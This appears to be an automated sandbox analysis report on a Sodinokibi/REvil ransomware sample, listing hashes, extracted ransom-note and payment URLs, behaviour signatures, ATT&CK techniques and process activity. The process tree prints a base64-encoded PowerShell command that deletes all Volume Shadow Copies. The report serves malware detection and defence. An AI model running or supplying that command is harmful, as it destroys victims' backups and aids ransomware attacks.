Analysis
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max time kernel
146s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
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submitted
03-02-2024 19:28
General
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Target
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe
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Size
166KB
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MD5
340b6f816bfdcfcb466cfc126c976844
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SHA1
e2e3adfcf621166a9f5bb7ee9795b7914cda2095
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SHA256
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57
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SHA512
3e729878fe7ae2ea2f025d71d78226ddb5930b791143eb8c4ba4a7589d5944e5b0e37e8ffe1ea4983bbc66c71587e3a4b158b3e8a2b71ccbed2889c4778962f9
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SSDEEP
3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QLOoBB2W:ZJ0BXScFy2RsQJ8zgLOYB
Malware Config
Extracted
C:\Recovery\d0ql04e8e-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/08C8AF9F4DEF8153
http://decryptor.cc/08C8AF9F4DEF8153
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Adds Run key to start application 2 TTPs 1 IoCs
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
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Sets desktop wallpaper using registry 2 TTPs 1 IoCs
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Drops file in Program Files directory 35 IoCs
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Modifies system certificate store 2 TTPs 7 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 5 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe"C:\Users\Admin\AppData\Local\Temp\3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
3Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
6KB
MD5fdce108918663bf86ead68f7d39acc50
SHA13c12485d0f79df7148bc992fc28b6077db25f556
SHA2564615b435651daa85630e7eac7ae70a53ebd2838860674b2abc2dd8ae0ebec52c
SHA5128ddcc37a9895e9daafc81898eb428d590d7a418b5ca189bce78def627ed6f5d98fe4c586695c3b468e7033deaf306f402b50317448c9809275e818b6642bd7c7
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
136KB
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Filesize
10.8MB
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Filesize
64KB
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Filesize
64KB
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Filesize
10.8MB